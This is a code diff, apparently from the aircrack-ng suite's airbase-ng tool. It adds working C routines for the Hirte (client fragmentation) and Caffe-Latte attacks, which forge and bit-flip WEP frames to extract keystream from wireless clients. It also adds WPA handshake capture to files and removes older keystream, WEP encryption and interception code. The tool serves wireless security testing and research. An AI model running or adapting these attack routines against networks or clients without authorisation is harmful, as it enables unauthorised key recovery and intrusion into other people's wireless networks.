-    prga[1] = opt.sharedkey[1][25] & 0xFF;
-    prga[2] = opt.sharedkey[1][26] & 0xFF;
-    prga[3] = opt.sharedkey[1][27] & 0xFF;
+static int remove_tag(unsigned char * flags, unsigned char type, int * length)
+{
+	int cur_type = 0, cur_len = 0, len = 0;
+	unsigned char * pos;
+	unsigned char buffer[4096];
 
-    if( opt.f_xor != NULL )
-    {
-        fclose(opt.f_xor);
-        opt.f_xor = NULL;
-    }
+	if (*length < 2) return 1;
 
-    snprintf( ofn, sizeof( ofn ) - 1, "keystream-%02d-%02X-%02X-%02X-%02X-%02X-%02X.%s", opt.f_index,
-              *(opt.sharedkey[0]+m_dmac), *(opt.sharedkey[0]+m_dmac+1), *(opt.sharedkey[0]+m_dmac+2),
-              *(opt.sharedkey[0]+m_dmac+3), *(opt.sharedkey[0]+m_dmac+4), *(opt.sharedkey[0]+m_dmac+5), "xor" );
+	if (flags == NULL) return 1;
 
-    opt.f_index++;
+	pos = flags;
 
-    opt.f_xor = fopen( ofn, "w");
-    if(opt.f_xor == NULL)
-        return 1;
+	do
+	{
+		cur_type = pos[0];
+		cur_len = pos[1];
+		//         printf("tag %d with len %d found, looking for tag %d\n",
+		//         cur_type, cur_len, type);
+		//         printf("gone through %d bytes from %d max\n", len+2+cur_len,
+		//         *length);
+		if (len + 2 + cur_len > *length) return 1;
 
-    for(n=0; n<textlen+8; n++)
-        fputc((prga[n] & 0xFF), opt.f_xor);
+		if (cur_type == type)
+		{
+			if (cur_len > 0 && (pos - flags + cur_len + 2) <= *length)
+			{
+				memcpy(buffer,
+					   pos + 2 + cur_len,
+					   *length - ((pos + 2 + cur_len) - flags));
+				memcpy(pos, buffer, *length - ((pos + 2 + cur_len) - flags));
+				*length = *length - 2 - cur_len;
+				return 0;
+			}
+			else
+				return 1;
+		}
+		pos += cur_len + 2;
+		len += cur_len + 2;
+	} while (len + 2 <= *length);
 
-    fflush(opt.f_xor);
+	return 0;
+}
 
-    if( opt.f_xor != NULL )
-    {
-        fclose(opt.f_xor);
-        opt.f_xor = NULL;
-    }
+static unsigned char *
+parse_tags(unsigned char * flags, unsigned char type, int length, int * taglen)
+{
+	int cur_type = 0, cur_len = 0, len = 0;
+	unsigned char * pos;
+
+	if (length < 2) return (NULL);
+
+	if (flags == NULL) return (NULL);
+
+	pos = flags;
 
-    if(!opt.quiet)
-    {
-        PCT; printf("Got %d bytes keystream: %02X:%02X:%02X:%02X:%02X:%02X\n",
-                    textlen+4, *(opt.sharedkey[0]+m_dmac), *(opt.sharedkey[0]+m_dmac+1), *(opt.sharedkey[0]+m_dmac+2),
-                  *(opt.sharedkey[0]+m_dmac+3), *(opt.sharedkey[0]+m_dmac+4), *(opt.sharedkey[0]+m_dmac+5));
-    }
+	do
+	{
+		cur_type = pos[0];
+		cur_len = pos[1];
+		if (len + 2 + cur_len > length) return (NULL);
 
-    memset(opt.sharedkey, '\x00', 512*3);
-    /* ok, keystream saved */
-    return 0;
+		if (cur_type == type)
+		{
+			if (cur_len > 0)
+			{
+				*taglen = cur_len;
+				return pos + 2;
+			}
+			else
+				return (NULL);
+		}
+		pos += cur_len + 2;
+		len += cur_len + 2;
+	} while (len + 2 <= length);
+
+	return (NULL);
 }
 
-int read_prga(unsigned char **dest, char *file)
+static int wpa_client(struct ST_info * st_cur, unsigned char * tag, int length)
 {
-    FILE *f;
-    int size;
+	if (tag == NULL) return 1;
+
+	if (st_cur == NULL) return 1;
 
-    if(file == NULL) return( 1 );
-    if(*dest == NULL) *dest = (unsigned char*) malloc(1501);
+	if (tag[0] != 0xDD && tag[0] != 0x30) // wpa1 or wpa2
+		return 1;
 
-    if( memcmp( file+(strlen(file)-4), ".xor", 4 ) != 0 )
-    {
-        printf("Is this really a PRGA file: %s?\n", file);
-    }
+	if (tag[0] == 0xDD)
+	{
+		if (length < 24) return 1;
 
-    f = fopen(file, "r");
+		switch (tag[17])
+		{
+			case 0x02:
+				st_cur->wpahash = 1; // md5|tkip
+				break;
+			case 0x04:
+				st_cur->wpahash = 2; // sha1|ccmp
+				break;
+			default:
+				return 1;
+		}
+
+		st_cur->wpatype = 1; // wpa1
+	}
 
-    if(f == NULL)
-    {
-         printf("Error opening %s\n", file);
-         return( 1 );
-    }
+	if (tag[0] == 0x30 && st_cur->wpatype == 0)
+	{
+		if (length < 22) return 1;
 
-    fseek(f, 0, SEEK_END);
-    size = ftell(f);
-    rewind(f);
+		switch (tag[13])
+		{
+			case 0x02:
+				st_cur->wpahash = 1; // md5|tkip
+				break;
+			case 0x04:
+				st_cur->wpahash = 2; // sha1|ccmp
+				break;
+			default:
+				return 1;
+		}
 
-    if(size > 1500) size = 1500;
+		st_cur->wpatype = 2; // wpa2
+	}
 
-    if( fread( (*dest), size, 1, f ) != 1 )
-    {
-    	fclose(f);
-        fprintf( stderr, "fread failed\n" );
-        return( 1 );
-    }
+	return 0;
+}
 
-    if( (*dest)[3] > 0x03 )
-    {
-        printf("Are you really sure that this is a valid keystream? Because the index is out of range (0-3): %02X\n", (*dest)[3] );
-    }
+static int set_clear_arp(unsigned char * buf,
+						 unsigned char * smac,
+						 unsigned char * dmac) // set first 22 bytes
+{
+	if (buf == NULL) return -1;
 
-    opt.prgalen = size;
+	memcpy(buf, S_LLC_SNAP_ARP, 8);
+	buf[8] = 0x00;
+	buf[9] = 0x01; // ethernet
+	buf[10] = 0x08; // IP
+	buf[11] = 0x00;
+	buf[12] = 0x06; // hardware size
+	buf[13] = 0x04; // protocol size
+	buf[14] = 0x00;
+	if (memcmp(dmac, BROADCAST, 6) == 0)
+		buf[15] = 0x01; // request
+	else
+		buf[15] = 0x02; // reply
+	memcpy(buf + 16, smac, 6);
 
-    fclose(f);
-    return( 0 );
+	return 0;
 }
 
-void add_icv(unsigned char *input, int len, int offset)
+static int set_final_arp(unsigned char * buf, unsigned char * mymac)
 {
-    unsigned long crc = 0xFFFFFFFF;
-    int n=0;
+	if (buf == NULL) return -1;
 
-    for( n = offset; n < len; n++ )
-        crc = crc_tbl[(crc ^ input[n]) & 0xFF] ^ (crc >> 8);
+	// shifted by 10bytes to set source IP as target IP :)
 
-    crc = ~crc;
+	buf[0] = 0x08; // IP
+	buf[1] = 0x00;
+	buf[2] = 0x06; // hardware size
+	buf[3] = 0x04; // protocol size
+	buf[4] = 0x00;
+	buf[5] = 0x01; // request
+	memcpy(buf + 6, mymac, 6); // sender mac
+	buf[12] = 0xA9; // sender IP 169.254.87.197
+	buf[13] = 0xFE;
+	buf[14] = 0x57;
+	buf[15] = 0xC5; // end sender IP
 
-    input[len]   = (crc      ) & 0xFF;
-    input[len+1] = (crc >>  8) & 0xFF;
-    input[len+2] = (crc >> 16) & 0xFF;
-    input[len+3] = (crc >> 24) & 0xFF;
+	return 0;
+}
 
-    return;
+static int set_clear_ip(unsigned char * buf, int ip_len) // set first 9 bytes
+{
+	if (buf == NULL) return -1;
+
+	memcpy(buf, S_LLC_SNAP_IP, 8);
+	buf[8] = 0x45;
+	buf[10] = (ip_len >> 8) & 0xFF;
+	buf[11] = ip_len & 0xFF;
+
+	return 0;
 }
 
-int xor_keystream(unsigned char *ph80211, unsigned char *keystream, int len)
+static int set_final_ip(unsigned char * buf, unsigned char * mymac)
 {
-    int i=0;
+	if (buf == NULL) return -1;
 
-    for (i=0; i<len; i++) {
-        ph80211[i] = ph80211[i] ^ keystream[i];
-    }
+	// shifted by 10bytes to set source IP as target IP :)
 
-    return 0;
+	buf[0] = 0x06; // hardware size
+	buf[1] = 0x04; // protocol size
+	buf[2] = 0x00;
+	buf[3] = 0x01; // request
+	memcpy(buf + 4, mymac, 6); // sender mac
+	buf[10] = 0xA9; // sender IP from 169.254.XXX.XXX
+	buf[11] = 0xFE;
+	buf[12] = 0x57;
+	buf[13] = 0xC5; // end sender IP
+
+	return 0;
 }
 
-void print_packet ( unsigned char h80211[], int caplen )
+// add packet for client fragmentation attack
+static int addCF(unsigned char * packet, int length)
 {
-	int i,j;
-	int key_index_offset=0;
+	pCF_t curCF = rCF;
+	unsigned char bssid[6];
+	unsigned char smac[6];
+	unsigned char dmac[6];
+	unsigned char keystream[128];
+	unsigned char frag1[128], frag2[128], frag3[128];
+	unsigned char clear[4096], final[4096], flip[4096];
+	int isarp;
+	int z, i;
+
+	if (curCF == NULL) return 1;
 
-	printf( "        Size: %d, FromDS: %d, ToDS: %d",
-		caplen, ( h80211[1] & 2 ) >> 1, ( h80211[1] & 1 ) );
+	if (packet == NULL) return 1;
 
-	if( ( h80211[0] & 0x0C ) == 8 && ( h80211[1] & 0x40 ) != 0 )
+	z = ((packet[1] & 3) != 3) ? 24 : 30;
+
+	if (length < z + 8) return 1;
+
+	if (length > 3800)
 	{
-	    if ( ( h80211[1] & 3 ) == 3 ) key_index_offset = 33; //WDS packets have an additional MAC adress
-		else key_index_offset = 27;
+		return 1;
+	}
 
-	    if( ( h80211[key_index_offset] & 0x20 ) == 0 )
-		printf( " (WEP)" );
-	    else
-		printf( " (WPA)" );
+	if (opt.cf_count >= 100) return 1;
+
+	memset(clear, 0, 4096);
+	memset(final, 0, 4096);
+	memset(flip, 0, 4096);
+	memset(frag1, 0, 128);
+	memset(frag2, 0, 128);
+	memset(frag3, 0, 128);
+	memset(keystream, 0, 128);
+
+	switch (packet[1] & 3)
+	{
+		case 0:
+			memcpy(bssid, packet + 16, 6);
+			memcpy(dmac, packet + 4, 6);
+			memcpy(smac, packet + 10, 6);
+			break;
+		case 1:
+			memcpy(bssid, packet + 4, 6);
+			memcpy(dmac, packet + 16, 6);
+			memcpy(smac, packet + 10, 6);
+			break;
+		case 2:
+			memcpy(bssid, packet + 10, 6);
+			memcpy(dmac, packet + 4, 6);
+			memcpy(smac, packet + 16, 6);
+			break;
+		default:
+			memcpy(bssid, packet + 10, 6);
+			memcpy(dmac, packet + 16, 6);
+			memcpy(smac, packet + 24, 6);
+			break;
 	}
 
-	for( i = 0; i < caplen; i++ )
+	if (is_ipv6(packet))
 	{
-	if( ( i & 15 ) == 0 )
+		if (opt.verbose)
+		{
+			PCT;
+			printf("Ignored IPv6 packet.\n");
+		}
+
+		return 1;
+	}
+
+	if (is_dhcp_discover(packet, length - z - 4 - 4))
 	{
-		if( i == 224 )
+		if (opt.verbose)
 		{
-		printf( "\n        --- CUT ---" );
-		break;
+			PCT;
+			printf("Ignored DHCP Discover packet.\n");
 		}
 
-		printf( "\n        0x%04x:  ", i );
+		return 1;
 	}
 
-	printf( "%02x", h80211[i] );
+	/* check if it's a potential ARP request */
+
+	// its length 68 or 86 and going to broadcast or a unicast mac (even first
+	// byte)
+	if ((length == 68 || length == 86)
+		&& (memcmp(dmac, BROADCAST, 6) == 0 || (dmac[0] % 2) == 0))
+	{
+		/* process ARP */
+		isarp = 1;
+		// build the new packet
+		set_clear_arp(clear, smac, dmac);
+		set_final_arp(final, opt.r_smac);
+
+		for (i = 0; i < 14; i++) keystream[i] = (packet + z + 4)[i] ^ clear[i];
+
+		// correct 80211 header
+		packet[0] = 0x08; // data
+		if ((packet[1] & 3) == 0x00) // ad-hoc
+		{
+			packet[1] = 0x40; // wep
+			memcpy(packet + 4, smac, 6);
+			memcpy(packet + 10, opt.r_smac, 6);
+			memcpy(packet + 16, bssid, 6);
+		}
+		else // tods
+		{
+			packet[1] = 0x42; // wep+FromDS
+			memcpy(packet + 4, smac, 6);
+			memcpy(packet + 10, bssid, 6);
+			memcpy(packet + 16, opt.r_smac, 6);
+		}
+		packet[22] = 0xD0; // frag = 0;
+		packet[23] = 0x50;
+
+		// need to shift by 10 bytes; (add 1 frag in front)
+		memcpy(frag1, packet, z + 4); // copy 80211 header and IV
+		frag1[1] |= 0x04; // more frags
+		memcpy(frag1 + z + 4, S_LLC_SNAP_ARP, 8);
+		frag1[z + 4 + 8] = 0x00;
+		frag1[z + 4 + 9] = 0x01; // ethernet
+		add_crc32(frag1 + z + 4, 10);
+		for (i = 0; i < 14; i++) (frag1 + z + 4)[i] ^= keystream[i];
+		/* frag1 finished */
 
-	if( ( i & 1 ) != 0 )
-		printf( " " );
+		for (i = 0; i < length; i++) flip[i] = clear[i] ^ final[i];
 
-	if( i == caplen - 1 && ( ( i + 1 ) & 15 ) != 0 )
+		add_crc32_plain(flip, length - z - 4 - 4);
+
+		for (i = 0; i < length - z - 4; i++) (packet + z + 4)[i] ^= flip[i];
+		packet[22] = 0xD1; // frag = 1;
+
+		// ready to send frag1 / len=z+4+10+4 and packet / len = length
+	}
+	else
 	{
-		for( j = ( ( i + 1 ) & 15 ); j < 16; j++ )
+		/* process IP */
+		isarp = 0;
+		// build the new packet
+		set_clear_ip(clear, length - z - 4 - 8 - 4);
+		set_final_ip(final, opt.r_smac);
+
+		for (i = 0; i < 8; i++) keystream[i] = (packet + z + 4)[i] ^ clear[i];
+
+		// correct 80211 header
+		packet[0] = 0x08; // data
+		if ((packet[1] & 3) == 0x00) // ad-hoc
+		{
+			packet[1] = 0x40; // wep
+			memcpy(packet + 4, smac, 6);
+			memcpy(packet + 10, opt.r_smac, 6);
+			memcpy(packet + 16, bssid, 6);
+		}
+		else
 		{
-		printf( "  " );
-		if( ( j & 1 ) != 0 )
-			printf( " " );
+			packet[1] = 0x42; // wep+FromDS
+			memcpy(packet + 4, smac, 6);
+			memcpy(packet + 10, bssid, 6);
+			memcpy(packet + 16, opt.r_smac, 6);
 		}
+		packet[22] = 0xD0; // frag = 0;
+		packet[23] = 0x50;
+
+		// need to shift by 12 bytes;(add 3 frags in front)
+		memcpy(frag1, packet, z + 4); // copy 80211 header and IV
+		memcpy(frag2, packet, z + 4); // copy 80211 header and IV
+		memcpy(frag3, packet, z + 4); // copy 80211 header and IV
+		frag1[1] |= 0x04; // more frags
+		frag2[1] |= 0x04; // more frags
+		frag3[1] |= 0x04; // more frags
+
+		memcpy(frag1 + z + 4, S_LLC_SNAP_ARP, 4);
+		add_crc32(frag1 + z + 4, 4);
+		for (i = 0; i < 8; i++) (frag1 + z + 4)[i] ^= keystream[i];
+
+		memcpy(frag2 + z + 4, S_LLC_SNAP_ARP + 4, 4);
+		add_crc32(frag2 + z + 4, 4);
+		for (i = 0; i < 8; i++) (frag2 + z + 4)[i] ^= keystream[i];
+		frag2[22] = 0xD1; // frag = 1;
+
+		frag3[z + 4 + 0] = 0x00;
+		frag3[z + 4 + 1] = 0x01; // ether
+		frag3[z + 4 + 2] = 0x08; // IP
+		frag3[z + 4 + 3] = 0x00;
+		add_crc32(frag3 + z + 4, 4);
+		for (i = 0; i < 8; i++) (frag3 + z + 4)[i] ^= keystream[i];
+		frag3[22] = 0xD2; // frag = 2;
+		/* frag1,2,3 finished */
+
+		for (i = 0; i < length; i++) flip[i] = clear[i] ^ final[i];
+
+		add_crc32_plain(flip, length - z - 4 - 4);
 
-		printf( " " );
+		for (i = 0; i < length - z - 4; i++) (packet + z + 4)[i] ^= flip[i];
+		packet[22] = 0xD3; // frag = 3;
 
-		for( j = 16 - ( ( i + 1 ) & 15 ); j < 16; j++ )
-		printf( "%c", ( h80211[i - 15 + j] <  32 ||
-				h80211[i - 15 + j] > 126 )
-				? '.' : h80211[i - 15 + j] );
+		// ready to send frag1,2,3 / len=z+4+4+4 and packet / len = length
 	}
+	while (curCF->next != NULL) curCF = curCF->next;
 
-	if( i > 0 && ( ( i + 1 ) & 15 ) == 0 )
+	pthread_mutex_lock(&mx_cf);
+
+	curCF->next = (pCF_t) malloc(sizeof(struct CF_packet));
+	curCF = curCF->next;
+	curCF->xmitcount = 0;
+	curCF->next = NULL;
+
+	if (isarp)
+	{
+		memcpy(curCF->frags[0], frag1, z + 4 + 10 + 4);
+		curCF->fraglen[0] = z + 4 + 10 + 4;
+		memcpy(curCF->final, packet, length);
+		curCF->finallen = length;
+		curCF->fragnum = 1; /* one frag and final frame */
+	}
+	else
 	{
-		printf( " " );
+		memcpy(curCF->frags[0], frag1, z + 4 + 4 + 4);
+		memcpy(curCF->frags[1], frag2, z + 4 + 4 + 4);
+		memcpy(curCF->frags[2], frag3, z + 4 + 4 + 4);
+		curCF->fraglen[0] = z + 4 + 4 + 4;
+		curCF->fraglen[1] = z + 4 + 4 + 4;
+		curCF->fraglen[2] = z + 4 + 4 + 4;
+		memcpy(curCF->final, packet, length);
+		curCF->finallen = length;
+		curCF->fragnum = 3; /* three frags and final frame */
+	}
+
+	opt.cf_count++;
+
+	pthread_mutex_unlock(&mx_cf);
 
-		for( j = 0; j < 16; j++ )
-		printf( "%c", ( h80211[i - 15 + j] <  32 ||
-				h80211[i - 15 + j] > 127 )
-				? '.' : h80211[i - 15 + j] );
+	if (opt.cf_count == 1 && !opt.quiet)
+	{
+		PCT;
+		printf("Starting Hirte attack against %02X:%02X:%02X:%02X:%02X:%02X at "
+			   "%d pps.\n",
+			   smac[0],
+			   smac[1],
+			   smac[2],
+			   smac[3],
+			   smac[4],
+			   smac[5],
+			   opt.r_nbpps);
 	}
+
+	if (opt.verbose)
+	{
+		PCT;
+		printf("Added %s packet to cfrag buffer.\n", isarp ? "ARP" : "IP");
 	}
-	printf("\n");
-}
 
-#define IEEE80211_LLC_SNAP      \
-    "\x08\x00\x00\x00\xDD\xDD\xDD\xDD\xDD\xDD\xBB\xBB\xBB\xBB\xBB\xBB"  \
-    "\xCC\xCC\xCC\xCC\xCC\xCC\xE0\x32\xAA\xAA\x03\x00\x00\x00\x08\x00"
+	return 0;
+}
 
-int set_IVidx(unsigned char* packet)
+// add packet for caffe latte attack
+static int addarp(unsigned char * packet, int length)
 {
-    unsigned char ividx[4];
+	unsigned char bssid[6], smac[6], dmac[6];
+	unsigned char flip[4096];
+	int z = 0, i = 0;
 
-    if(packet == NULL) return 1;
+	if (packet == NULL) return -1;
 
-    if(opt.prga == NULL && opt.crypt != CRYPT_WEP)
-    {
-        printf("Please specify a WEP key (-w).\n");
-        return 1;
-    }
+	if (length != 68 && length != 86) return -1;
 
-    if( opt.crypt == CRYPT_WEP )
-    {
-        ividx[0] = rand() & 0xFF;
-        ividx[1] = rand() & 0xFF;
-        ividx[2] = rand() & 0xFF;
-        ividx[3] = 0x00;
-    }
-    else if(opt.prga != NULL)
-    {
-        memcpy(ividx, opt.prga, 4);
-    }
+	z = ((packet[1] & 3) != 3) ? 24 : 30;
 
-    /* insert IV+index */
-    memcpy(packet+24, ividx, 4);
+	if ((packet[1] & 3) == 0)
+	{
+		memcpy(dmac, packet + 4, 6);
+		memcpy(smac, packet + 10, 6);
+		memcpy(bssid, packet + 16, 6);
+	}
+	else
+	{
+		memcpy(dmac, packet + 4, 6);
+		memcpy(bssid, packet + 10, 6);
+		memcpy(smac, packet + 16, 6);
+	}
 
-    return 0;
-}
+	if (memcmp(dmac, BROADCAST, 6) != 0) return -1;
 
-int encrypt_data(unsigned char* data, int length)
-{
-    unsigned char cipher[4096];
-    unsigned char K[128];
+	if (memcmp(bssid, opt.r_bssid, 6) != 0) return -1;
+
+	packet[21] ^= ((rand() % 255) + 1); // Sohail:flip sender MAC address since
+	// few clients do not honor ARP from its
+	// own MAC
 
-    if(data == NULL)                return 1;
-    if(length < 1 || length > 2044) return 1;
+	if (opt.nb_arp >= opt.ringbuffer) return -1;
 
-    if(opt.prga == NULL && opt.crypt != CRYPT_WEP)
-    {
-        printf("Please specify a WEP key (-w).\n");
-        return 1;
-    }
+	memset(flip, 0, 4096);
 
-    if(opt.prgalen-4 < length && opt.crypt != CRYPT_WEP)
-    {
-        printf("Please specify a longer PRGA file (-y) with at least %i bytes.\n", (length+4));
-        return 1;
-    }
+	flip[49 - z - 4]
+		^= ((rand() % 255) + 1); // flip random bits in last byte of sender MAC
+	flip[53 - z - 4]
+		^= ((rand() % 255) + 1); // flip random bits in last byte of sender IP
 
-    /* encrypt data */
-    if(opt.crypt == CRYPT_WEP)
-    {
-        K[0] = rand() & 0xFF;
-        K[1] = rand() & 0xFF;
-        K[2] = rand() & 0xFF;
-        memcpy( K + 3, opt.wepkey, opt.weplen );
+	add_crc32_plain(flip, length - z - 4 - 4);
+	for (i = 0; i < length - z - 4; i++) (packet + z + 4)[i] ^= flip[i];
+
+	arp[opt.nb_arp].buf = (unsigned char *) malloc(length);
+	arp[opt.nb_arp].len = length;
+	memcpy(arp[opt.nb_arp].buf, packet, length);
+	opt.nb_arp++;
+
+	if (opt.nb_arp == 1 && !opt.quiet)
+	{
+		PCT;
+		printf("Starting Caffe-Latte attack against "
+			   "%02X:%02X:%02X:%02X:%02X:%02X at %d pps.\n",
+			   smac[0],
+			   smac[1],
+			   smac[2],
+			   smac[3],
+			   smac[4],
+			   smac[5],
+			   opt.r_nbpps);
+	}
 
-        encrypt_wep( data, length, K, opt.weplen+3 );
-        memcpy(cipher, data, length);
-        memcpy(data+4, cipher, length);
-        memcpy(data, K, 3);
-        data[3] = 0x00;
-    }
+	if (opt.verbose)
+	{
+		PCT;
+		printf("Added an ARP to the caffe-latte ringbuffer %d/%d\n",
+			   opt.nb_arp,
+			   opt.ringbuffer);
+	}
 
-    return 0;
+	return 0;
 }
 
-int create_wep_packet(unsigned char* packet, int *length, int hdrlen)
+static int store_wpa_handshake(struct ST_info * st_cur)
 {
-    if(packet == NULL) return 1;
+	FILE * f_ivs;
+	struct ivs2_filehdr fivs2;
+	char ofn[1024];
+	struct ivs2_pkthdr ivs2;
+
+	if (st_cur == NULL) return 1;
+
+	fivs2.version = IVS2_VERSION;
+
+	snprintf(ofn,
+			 sizeof(ofn) - 1,
+			 "wpa-%02d-%02X-%02X-%02X-%02X-%02X-%02X.%s",
+			 opt.f_index,
+			 st_cur->stmac[0],
+			 st_cur->stmac[1],
+			 st_cur->stmac[2],
+			 st_cur->stmac[3],
+			 st_cur->stmac[4],
+			 st_cur->stmac[5],
+			 IVS2_EXTENSION);
+
+	opt.f_index++;
+
+	if ((f_ivs = fopen(ofn, "wb+")) == NULL)
+	{
+		perror("fopen failed");
+		fprintf(stderr, "Could not create \"%s\".\n", ofn);
+		return (1);
+	}
+
+	if (fwrite(IVS2_MAGIC, 1, 4, f_ivs) != (size_t) 4)
+	{
+		perror("fwrite(IVs file MAGIC) failed");
+		fclose(f_ivs);
+		return (1);
+	}
+
+	if (fwrite(&fivs2, 1, sizeof(struct ivs2_filehdr), f_ivs)
+		!= (size_t) sizeof(struct ivs2_filehdr))
+	{
+		perror("fwrite(IVs file header) failed");
+		fclose(f_ivs);
+		return (1);
+	}
+
+	memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr));
+
+	// write stmac as bssid and essid
+	ivs2.flags = 0;
+	ivs2.len = 0;
+
+	ivs2.len += st_cur->essid_length;
+	ivs2.flags |= IVS2_ESSID;
+
+	ivs2.flags |= IVS2_BSSID;
+	ivs2.len += 6;
+
+	if (fwrite(&ivs2, 1, sizeof(struct ivs2_pkthdr), f_ivs)
+		!= (size_t) sizeof(struct ivs2_pkthdr))
+	{
+		perror("fwrite(IV header) failed");
+		fclose(f_ivs);
+		return (1);
+	}
 
-    /* write crc32 value behind data */
-    if( add_crc32(packet+hdrlen, *length-hdrlen) != 0 )               return 1;
+	if (fwrite(opt.r_bssid, 1, 6, f_ivs) != (size_t) 6)
+	{
+		perror("fwrite(IV bssid) failed");
+		fclose(f_ivs);
+		return (1);
+	}
+	ivs2.len -= 6;
 
-    /* encrypt data+crc32 and keep a 4byte hole */
-    if( encrypt_data(packet+hdrlen, *length-hdrlen+4) != 0 ) return 1;
+	/* write essid */
+	if (fwrite(st_cur->essid, 1, st_cur->essid_length, f_ivs)
+		!= (size_t) st_cur->essid_length)
+	{
+		perror("fwrite(IV essid) failed");
+		fclose(f_ivs);
+		return (1);
+	}
 
-//     /* write IV+IDX right in front of the encrypted data */
-//     if( set_IVidx(packet) != 0 )                              return 1;
+	// add wpa data
+	ivs2.flags = 0;
+	ivs2.len = 0;
 
-    /* set WEP bit */
-    packet[1] = packet[1] | 0x40;
+	ivs2.len = sizeof(struct WPA_hdsk);
+	ivs2.flags |= IVS2_WPA;
 
-    *length+=8;
-    /* now you got yourself a shiny, brand new encrypted wep packet ;) */
+	if (fwrite(&ivs2, 1, sizeof(struct ivs2_pkthdr), f_ivs)
+		!= (size_t) sizeof(struct ivs2_pkthdr))
+	{
+		perror("fwrite(IV header) failed");
+		fclose(f_ivs);
+		return (1);
+	}
 
-    return 0;
+	if (fwrite(&(st_cur->wpa), 1, sizeof(struct WPA_hdsk), f_ivs)
+		!= (size_t) sizeof(struct WPA_hdsk))
+	{
+		perror("fwrite(IV wpa_hdsk) failed");
+		fclose(f_ivs);
+		return (1);
+	}
+
+	fclose(f_ivs);
+
+	return 0;
 }
 
-int intercept(unsigned char* packet, int length)
-{
-    unsigned char buf[4096];
-    unsigned char K[128];
-    int z=0;
+static int packet_recv(unsigned char * packet,
+					   int length,
+					   struct AP_conf * apc,
+					   int external)
+{
+	unsigned char K[64];
+	unsigned char bssid[6];
+	unsigned char smac[6];
+	unsigned char dmac[6];
+	int trailer = 0;
+	unsigned char * tag = NULL;
+	int len, i, c;
+	unsigned char * buffer;
+	char essid[256];
+	struct timeval tv1;
+	u_int64_t timestamp;
+	char fessid[MAX_IE_ELEMENT_SIZE + 1];
+	int seqnum, fragnum, morefrag;
+	int gotsource, gotbssid;
+	int remaining, bytes2use;
+	int reasso, fixed, temp_channel;
+	unsigned z;
+
+	struct ST_info * st_cur = NULL;
+	struct ST_info * st_prv = NULL;
+
+	reasso = 0;
+	fixed = 0;
+	memset(essid, 0, 256);
+
+	pthread_mutex_lock(&mx_cap);
+	if (opt.record_data) capture_packet(packet, length);
+	pthread_mutex_unlock(&mx_cap);
 
-    memset(buf, 0, 4096);
+	z = ((packet[1] & 3) != 3) ? 24 : 30;
 
-    z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30;
+	if (packet[0] == 0x88) z += 2; /* handle QoS field */
 
-    if( opt.crypt == CRYPT_WEP )
-    {
-        memcpy( K, packet + z, 3 );
-        memcpy( K + 3, opt.wepkey, opt.weplen );
+	if ((unsigned) length < z)
+	{
+		return 1;
+	}
 
-        if (decrypt_wep( packet + z + 4, length - z - 4,
-                        K, 3 + opt.weplen ) == 0 )
-        {
-			// ICV check failed!
-            return 1;
-        }
+	if (length > 3800)
+	{
+		return 1;
+	}
 
-        /* WEP data packet was successfully decrypted, *
-        * remove the WEP IV & ICV and write the data  */
+	switch (packet[1] & 3)
+	{
+		case 0:
+			memcpy(bssid, packet + 16, 6);
+			memcpy(dmac, packet + 4, 6);
+			memcpy(smac, packet + 10, 6);
+			break;
+		case 1:
+			memcpy(bssid, packet + 4, 6);
+			memcpy(dmac, packet + 16, 6);
+			memcpy(smac, packet + 10, 6);
+			break;
+		case 2:
+			memcpy(bssid, packet + 10, 6);
+			memcpy(dmac, packet + 4, 6);
+			memcpy(smac, packet + 16, 6);
+			break;
+		default:
+			memcpy(bssid, packet + 10, 6);
+			memcpy(dmac, packet + 16, 6);
+			memcpy(smac, packet + 24, 6);
+			break;
+	}
 
-        length -= 8;
+	if ((packet[1] & 3) == 0x03)
+	{
+		/* no wds support yet */
+		return 1;
+	}
 
-        memcpy( packet + z, packet + z + 4, length - z );
-    }
-
-    /* clear wep bit */
-    packet[1] &= 0xBF;
-
-    //insert ethernet header
-    memcpy(buf+14, packet, length);
-    length += 14;
-
-    ti_write(dev.dv_ti2, buf, length);
-    return 0;
-}
-
-int packet_xmit(unsigned char* packet, int length)
-{
-    unsigned char buf[4096];
-    int fragments=1, i;
-    int newlen=0, usedlen=0, length2;
-
-    if(packet == NULL)
-        return 1;
-
-    if(length < 38)
-        return 1;
-
-    if(length-14 > 16*opt.wif_mtu-MAX_FRAME_EXTENSION)
-        return 1;
-
-    if(length+MAX_FRAME_EXTENSION > opt.wif_mtu)
-        fragments=((length-14+MAX_FRAME_EXTENSION) / opt.wif_mtu) + 1;
-
-    if(fragments > 16)
-        return 1;
-
-    if(fragments > 1)
-        newlen = (length-14+MAX_FRAME_EXTENSION)/fragments;
-    else
-        newlen = length-14;
-
-    for(i=0; i<fragments; i++)
-    {
-        if(i == fragments-1)
-            newlen = length-14-usedlen; //use all remaining bytes for the last fragment
-
-        if(i==0)
-        {
-            memcpy(h80211, IEEE80211_LLC_SNAP, 32);
-            memcpy(h80211+32, packet+14+usedlen, newlen);
-            memcpy(h80211+30, packet+12, 2);
-        }
-        else
-        {
-            memcpy(h80211, IEEE80211_LLC_SNAP, 24);
-            memcpy(h80211+24, packet+14+usedlen, newlen);
-//             memcpy(h80211+30, packet+12, 2);
-        }
-
-        h80211[1] |= 0x02;
-        memcpy(h80211+10, opt.r_bssid, 6);  //BSSID
-        memcpy(h80211+16, packet+6,    6);  //SRC_MAC
-        memcpy(h80211+4,  packet,      6);  //DST_MAC
-
-//    frag = frame[22] & 0x0F;
-//    seq = (frame[22] >> 4) | (frame[23] << 4);
-        h80211[22] |= i & 0x0F; //set fragment
-        h80211[1]  |= 0x04; //more frags
-
-        if(i == (fragments-1))
-        {
-            h80211[1]  &= 0xFB; //no more frags
-        }
-
-//         length = length+32-14; //32=IEEE80211+LLC/SNAP; 14=SRC_MAC+DST_MAC+TYPE
-        length2 = newlen+32;
-
-        if((opt.external & EXT_OUT))
-        {
-            memset(buf, 0, 4096);
-            memcpy(buf+14, h80211, length2);
-            //mark it as outgoing packet
-            buf[12] = 0xFF;
-            buf[13] = 0xFF;
-            ti_write(dev.dv_ti2, buf, length2+14);
-//             return 0;
-        }
-        else
-        {
-            if( opt.crypt == CRYPT_WEP || opt.prgalen > 0 )
-            {
-                if(create_wep_packet(h80211, &length2, 24) != 0) return 1;
-            }
-
-            send_packet(h80211, length2);
-        }
-
-        usedlen += newlen;
-
-        if((i+1)<fragments)
-            usleep(3000);
-    }
-    return 0;
-}
-
-int packet_recv(unsigned char* packet, int length, struct AP_conf *apc, int external);
-
